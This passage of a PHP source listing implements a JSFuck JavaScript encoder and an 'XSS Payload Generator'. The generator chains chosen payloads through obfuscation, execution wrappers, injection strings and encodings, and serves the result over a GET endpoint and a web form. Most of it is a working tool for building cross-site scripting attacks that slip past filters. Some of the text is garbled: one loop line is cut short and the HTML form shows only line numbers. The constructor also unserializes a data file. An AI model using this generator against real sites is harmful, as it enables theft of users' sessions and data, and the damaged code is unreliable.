491 | 'r' => '(true+"")[1]', 492 | 's' => '(false+"")[3]', 493 | 't' => '(true+"")[0]', 494 | 'u' => '(undefined+"")[0]', 495 | 'v' => '(+(31))["to"+String["name"]](32)', 496 | 'w' => '(+(32))["to"+String["name"]](33)', 497 | 'x' => '(+(101))["to"+String["name"]](34)[1]', 498 | 'y' => '(NaN+[Infinity])[10]', 499 | 'z' => '(+(35))["to"+String["name"]](36)', 500 | 501 | 'A' => '(+[]+Array)[10]', 502 | 'B' => '(+[]+Boolean)[10]', 503 | 'C' => 'Function("return escape")()(("")["italics"]())[2]', 504 | 'D' => 'Function("return escape")()([]["fill"])["slice"]("-1")', 505 | 'E' => '(RegExp+"")[12]', 506 | 'F' => '(+[]+Function)[10]', 507 | 'G' => '(false+Function("return Date")()())[30]', 508 | 'H' => JSFuck::USE_CHAR_CODE, 509 | 'I' => '(Infinity+"")[0]', 510 | 'J' => JSFuck::USE_CHAR_CODE, 511 | 'K' => JSFuck::USE_CHAR_CODE, 512 | 'L' => JSFuck::USE_CHAR_CODE, 513 | 'M' => '(true+Function("return Date")()())[30]', 514 | 'N' => '(NaN+"")[0]', 515 | 'O' => '(NaN+Function("return{}")())[11]', 516 | 'P' => JSFuck::USE_CHAR_CODE, 517 | 'Q' => JSFuck::USE_CHAR_CODE, 518 | 'R' => '(+[]+RegExp)[10]', 519 | 'S' => '(+[]+String)[10]', 520 | 'T' => '(NaN+Function("return Date")()())[30]', 521 | 'U' => '(NaN+Function("return{}")()["to"+String["name"]]["call"]())[11]', 522 | 'V' => JSFuck::USE_CHAR_CODE, 523 | 'W' => JSFuck::USE_CHAR_CODE, 524 | 'X' => JSFuck::USE_CHAR_CODE, 525 | 'Y' => JSFuck::USE_CHAR_CODE, 526 | 'Z' => JSFuck::USE_CHAR_CODE, 527 | 528 | ' ' => '(NaN+[]["fill"])[11]', 529 | '!' => JSFuck::USE_CHAR_CODE, 530 | '"' => '("")["fontcolor"]()[12]', 531 | '#' => JSFuck::USE_CHAR_CODE, 532 | '$' => JSFuck::USE_CHAR_CODE, 533 | '%' => 'Function("return escape")()([]["fill"])[21]', 534 | '&' => '("")["link"](0+")[10]', 535 | '\'' => JSFuck::USE_CHAR_CODE, 536 | '(' => '(undefined+[]["fill"])[22]', 537 | ')' => '([0]+false+[]["fill"])[20]', 538 | '*' => JSFuck::USE_CHAR_CODE, 539 | '+' => '(+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]])+[])[2]', 540 | ',' => '([]["slice"]["call"](false+"")+"")[1]', 541 | '-' => '(+(.+[0000000001])+"")[2]', 542 | '.' => '(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]', 543 | '/' => '(false+[0])["italics"]()[10]', 544 | ':' => '(RegExp()+"")[3]', 545 | ';' => '("")["link"](")[14]', 546 | '<' => '("")["italics"]()[0]', 547 | '=' => '("")["fontcolor"]()[11]', 548 | '>' => '("")["italics"]()[2]', 549 | '?' => '(RegExp()+"")[2]', 550 | '@' => JSFuck::USE_CHAR_CODE, 551 | '[' => '([]["entries"]()+"")[0]', 552 | '\\' => JSFuck::USE_CHAR_CODE, 553 | ']' => '([]["entries"]()+"")[22]', 554 | '^' => JSFuck::USE_CHAR_CODE, 555 | '_' => JSFuck::USE_CHAR_CODE, 556 | '`' => JSFuck::USE_CHAR_CODE, 557 | '{' => '(true+[]["fill"])[20]', 558 | '|' => JSFuck::USE_CHAR_CODE, 559 | '}' => '([]["fill"]+"")["slice"]("-1")', 560 | '~' => JSFuck::USE_CHAR_CODE, 561 | ]; 562 | 563 | private const GLOBAL = 'Function("return this")()'; 564 | 565 | public function __construct(string $compilePath = "jsfuck.data") { 566 | if(file_exists($compilePath)) { 567 | $data = file_get_contents("jsfuck.data"); 568 | $this->_MAPPING = unserialize($data); 569 | } 570 | else { 571 | $this->FillMissingChars(); 572 | $this->FillMissingDigits(); 573 | $this->ReplaceMap(); 574 | $this->ReplaceStrings(); 575 | 576 | $data = serialize($this->_MAPPING); 577 | file_put_contents("jsfuck.data", $data); 578 | } 579 | } 580 | 581 | public function Encode(string $input, bool $wrapWithEval = false, bool $runInParentScope = false) : string { 582 | $output = []; 583 | 584 | $r = ""; 585 | foreach(JSFuck::SIMPLE as $i => $val) { 586 | $r .= "$i|"; 587 | } 588 | $r .= "."; 589 | 590 | if(preg_match_all("/$r/", $input, $matches)) { 591 | foreach($matches[0] as $find) { 592 | if(key_exists($find, JSFuck::SIMPLE)) { 593 | $output[] = "[".JSFuck::SIMPLE[$find]."]+[]"; 594 | } 595 | else if(key_exists($find, $this->_MAPPING)) { 596 | $output[] = $this->_MAPPING[$find]; 597 | } 598 | else { 599 | $replacement = "([]+[])[".$this->Encode("constructor")."][".$this->Encode("fromCharCode")."](".$this->Encode((string) ord($find)).")"; 600 | $output[] = $replacement; 601 | $this->_MAPPING[$find] = $replacement; 602 | } 603 | } 604 | } 605 | 606 | $output = join("+", $output); 607 | 608 | if(preg_match("/^\d$/", $input)) { 609 | $output .= "+[]"; 610 | } 611 | 612 | if($wrapWithEval) { 613 | if($runInParentScope) { 614 | $output = "[][".$this->Encode("fill")."][".$this->Encode("constructor")."](".$this->Encode("return eval").")()($output)"; 615 | } 616 | else { 617 | $output = "[][".$this->Encode("fill")."][".$this->Encode("constructor")."]($output)()"; 618 | } 619 | } 620 | 621 | return $output; 622 | } 623 | 624 | private function FillMissingChars() { 625 | foreach($this->_MAPPING as $key => $value) { 626 | if($value === JSFuck::USE_CHAR_CODE) { 627 | $charCode = ord($key); 628 | $charCodeHex = dechex($charCode); 629 | $replace = preg_replace('/(\d+)/', '+($1)+"', $charCodeHex); 630 | $this->_MAPPING[$key] = 'Function("return unescape")()("%"'.$replace.'")'; 631 | } 632 | } 633 | } 634 | 635 | private function FillMissingDigits() { 636 | for($number = 0; $number < 10; $number++) { 637 | $output = "+[]"; 638 | 639 | if($number > 0) { 640 | $output = "+!$output"; 641 | } 642 | 643 | for($i = 1; $i < $number; $i++) { 644 | $output = "+!+[]$output"; 645 | } 646 | 647 | if($number > 1) { 648 | $output = substr($output, 1); 649 | } 650 | 651 | $this->_MAPPING[$number] = "[$output]"; 652 | } 653 | } 654 | 655 | private function ReplaceMap() { 656 | for($i = JSFuck::MIN; $i <= JSFuck::MAX; $i++) { 657 | $char = chr($i); 658 | $value = $this->_MAPPING[$char]; 659 | 660 | if(empty($value)) { 661 | continue; 662 | } 663 | 664 | foreach(JSFuck::CONSTRUCTORS as $key => $val) { 665 | $value = preg_replace("/\b$key/", $val.'["constructor"]', $value); 666 | } 667 | 668 | foreach(JSFuck::SIMPLE as $key => $val) { 669 | $value = preg_replace("/$key/", $val, $value); 670 | } 671 | 672 | $value = $this->NumberReplacer($value, "/(\d\d+)/i"); 673 | $value = $this->DigitReplacer($value, "/\((\d)\)/i"); 674 | $value = $this->DigitReplacer($value, "/\[(\d)\]/i"); 675 | 676 | $value = preg_replace("/GLOBAL/", JSFuck::GLOBAL, $value); 677 | $value = preg_replace("/\+\"\"/", "+[]", $value); 678 | $value = preg_replace("/\"\"/", "[]+[]", $value); 679 | 680 | $this->_MAPPING[$char] = $value; 681 | } 682 | } 683 | 684 | private function ReplaceStrings() { 685 | foreach($this->_MAPPING as $key => $value) { 686 | $this->_MAPPING[$key] = $this->MappingReplacer((string) $value, "/\"([^\"]+)\"/i"); 687 | } 688 | 689 | $count = JSFuck::MAX - JSFuck::MIN; 690 | 691 | while(true) { 692 | $missing = $this->FindMissing(); 693 | 694 | if(count($missing) == 0) { 695 | break; 696 | } 697 | 698 | foreach($missing as $key => $value) { 699 | $value = $this->ValueReplacer($value, "/[^\[\]\(\)\!\+]{1}/", $missing); 700 | $this->_MAPPING[$key] = $value; 701 | } 702 | 703 | if($count-- === 0) { 704 | throw new Exception("Could not compile the following chars: ".json_encode($this->FindMissing())); 705 | } 706 | } 707 | } 708 | 709 | private function FindMissing() : array { 710 | $missing = []; 711 | foreach($this->_MAPPING as $key => $value) { 712 | if(preg_match("/[^\[\]\(\)\!\+]{1}/", $value)) { 713 | $missing[$key] = $value; 714 | } 715 | } 716 | return $missing; 717 | } 718 | 719 | private function NumberReplacer(string $value, string $pattern) : string { 720 | if(preg_match_all($pattern, $value, $matches, PREG_OFFSET_CAPTURE)) { 721 | for($i = count($matches[0]) - 1; $i >= 0; $i--) { 722 | $find = $matches[0][$i][0]; 723 | $offs = $matches[0][$i][1]; 724 | 725 | $begin = substr($value, 0, $offs); 726 | $end = substr($value, $offs + strlen($find)); 727 | 728 | $values = []; 729 | for($j = 0; $j < strlen($find); $j++) { 730 | $values[$j] = $find[$j]; 731 | } 732 | 733 | $head = (int) array_shift($values); 734 | $output = "+[]"; 735 | 736 | if($head > 0) { 737 | $output = "+!$output"; 738 | } 739 | 740 | for($j = 1; $j < $head; $j++) { 741 | $output = "+!+[]$output"; 742 | } 743 | 744 | if($head > 1) { 745 | $output = substr($output, 1); 746 | } 747 | 748 | $merged = array_merge([$output], $values); 749 | $joined = join("+", $merged); 750 | 751 | $value = $begin.$this->DigitReplacer($joined, "/(\d)/").$end; 752 | } 753 | } 754 | 755 | return $value; 756 | } 757 | 758 | private function DigitReplacer(string $value, string $pattern) : string { 759 | if(preg_match_all($pattern, $value, $matches, PREG_OFFSET_CAPTURE)) { 760 | for($i = count($matches[1]) - 1; $i >= 0; $i--) { 761 | $find = $matches[1][$i][0]; 762 | $offs = $matches[1][$i][1]; 763 | 764 | $begin = substr($value, 0, $offs); 765 | $end = substr($value, $offs + strlen($find)); 766 | 767 | $value = $begin.$this->_MAPPING[$find].$end; 768 | } 769 | } 770 | 771 | return $value; 772 | } 773 | 774 | private function MappingReplacer(string $value, string $pattern) : string { 775 | if(preg_match_all($pattern, $value, $matches, PREG_OFFSET_CAPTURE)) { 776 | for($i = count($matches[1]) - 1; $i >= 0; $i--) { 777 | $find = $matches[1][$i][0]; 778 | $offs = $matches[1][$i][1]; 779 | 780 | $begin = substr($value, 0, $offs - 1); 781 | $end = substr($value, $offs + strlen($find) + 1); 782 | 783 | $values = []; 784 | for($j = 0; $j < strlen($find); $j++) { 785 | $values[$j] = $find[$j]; 786 | } 787 | 788 | $value = $begin.join("+", $values).$end; 789 | } 790 | } 791 | 792 | return $value; 793 | } 794 | 795 | private function ValueReplacer(string $value, string $pattern, array $missing) : string { 796 | if(preg_match_all($pattern, $value, $matches, PREG_OFFSET_CAPTURE)) { 797 | for($i = count($matches[0]) - 1; $i >= 0; $i--) { 798 | $find = $matches[0][$i][0]; 799 | $offs = $matches[0][$i][1]; 800 | 801 | $begin = substr($value, 0, $offs); 802 | $end = substr($value, $offs + strlen($find)); 803 | 804 | if(!key_exists($find, $missing)) { 805 | $value = $begin.$this->_MAPPING[$find].$end; 806 | } 807 | else { 808 | $value = $value; 809 | } 810 | } 811 | } 812 | 813 | return $value; 814 | } 815 | 816 | } 817 | 818 | 819 | // Logic for generating a payload 820 | function generatePayload( $form ){ 821 | global $aPayloads, $aObfuscation, $aExecution, $aInjections, $aEncoding; 822 | $required = ['payloadid','injectionid','obfuscationid','executionid','encoding_used']; 823 | foreach( $required as $item ){ 824 | if( !in_array( $item, array_keys( $form ) ) ) return $item." not provided"; 825 | } 826 | 827 | $rtn = []; 828 | $rtn['meta'] = []; 829 | if( !in_array( $form['payloadid'], array_keys( $aPayloads ) ) ) $form['payloadid'] = 0; 830 | $payload = $aPayloads[$form['payloadid']]; 831 | $rtn['meta']['payload'] = $payload; 832 | 833 | // Replace values in code with form values 834 | $fields = explode( ",", $payload["fields"] ); 835 | $code = $payload['code']; 836 | foreach( $fields as $f ){ 837 | if( !in_array( $f, array_keys( $form ) ) ) continue; 838 | $code = str_replace( '{'.$f.'}', $form[$f], $code ); 839 | } 840 | $rtn['payload'] = $code; 841 | 842 | // Prepare payloads 843 | $prep = []; 844 | $prep['payload'] = $code; 845 | $prep['payloadb64'] = base64_encode( $code ); 846 | $prep['payloadrev'] = strrev( $code ); 847 | $chrs = []; 848 | for( $i=0; $iEncode($code); 859 | $rtn['prepared'] = $prep; 860 | 861 | // Obfuscate code using chosen method 862 | if( !in_array( $form['obfuscationid'], array_keys( $aObfuscation ) ) ) $form['obfuscationid'] = 0; 863 | $obfuscation = $aObfuscation[$form['obfuscationid']]; 864 | $rtn['meta']['obfuscation'] = $obfuscation; 865 | $code = $obfuscation['code']; 866 | foreach( $prep as $k => $v ){ 867 | $code = str_replace( '{'.$k.'}', $v, $code ); 868 | } 869 | $rtn['obfuscated'] = $code; 870 | 871 | // Add into execution method 872 | if( !in_array( $form['executionid'], array_keys( $aExecution ) ) ) $form['executionid'] = 0; 873 | $execution = $aExecution[$form['executionid']]; 874 | $rtn['meta']['execution'] = $execution; 875 | $code = str_replace( '{obfuscated}', $rtn['obfuscated'], $execution['code'] ); 876 | $rtn['execute'] = $code; 877 | 878 | // Insert into injection string 879 | if( !in_array( $form['injectionid'], array_keys( $aInjections ) ) ) $form['injectionid'] = 0; 880 | $injection = $aInjections[$form['injectionid']]; 881 | $rtn['meta']['injection'] = $injection; 882 | $code = str_replace( '{payload}', $code, $injection['code'] ); 883 | 884 | // Custom injection 885 | if( array_key_exists( 'fields', $injection ) ){ 886 | $fields = explode( ",", $injection["fields"] ); 887 | 888 | foreach( $fields as $f ){ 889 | if( !in_array( $f, array_keys( $form ) ) ) continue; 890 | $code = str_replace( '{'.$f.'}', $form[$f], $code ); 891 | } 892 | } 893 | 894 | // Encoding 895 | if( !empty($form["encoding_used"]) ){ 896 | $encs = preg_split("/,/",$form["encoding_used"]); 897 | foreach( $encs as $ename ){ 898 | foreach( $aEncoding as $e ){ 899 | if( $e["name"] == $ename ) break; 900 | } 901 | $args = []; 902 | foreach( $e["args"] as $a ){ 903 | $args[] = str_replace( "[payload]", $code, $a ); 904 | } 905 | $code = call_user_func_array( $e["func"], $args ); 906 | } 907 | } 908 | $rtn['payload'] = $code; 909 | $rtn['inject'] = $code; 910 | return $rtn; 911 | } 912 | 913 | // Generate the actual payload 914 | if( $_GET['mode'] == 'ajax' ){ 915 | header('Content-Type: text/json'); 916 | $rtn = generatePayload( $_GET ); 917 | echo json_encode( $rtn ); 918 | exit; 919 | } 920 | 921 | // Show form to generate a payload 922 | if( empty( $_GET["mode"] ) || $_GET["mode"] == "generate"){ 923 | ?> 924 | 925 | 926 | XSS Payload Generator 927 | 1085 | 1126 | 1127 | 1128 |

XSS Payload Generator

1129 |
1130 |
1131 | 1132 | 1139 |
1140 |
1141 |
1142 | 1143 | 1153 |
1154 |
1155 | 1156 | 1157 |
1158 |
1159 | 1160 | 1161 |
1162 |
1163 | 1164 | 1171 |
1172 |
1173 |
1174 | 1175 | 1182 |
1183 |
1184 |
1185 | 1186 | 1193 |
1194 |
1195 |
1196 | 1197 | 1204 |
1205 |
1206 |
1207 | 1208 | 1215 |
1216 |
1217 |
1218 |

Encoding

1219 |
1220 | 1221 | 1228 |
1229 |
1230 | 1231 | 1232 |
1233 |
1234 | 1235 | 1237 |
1238 |
1239 |
1240 | 1241 | 1242 |
1243 |
1244 | 1245 | 1248 | --------------------------------------------------------------------------------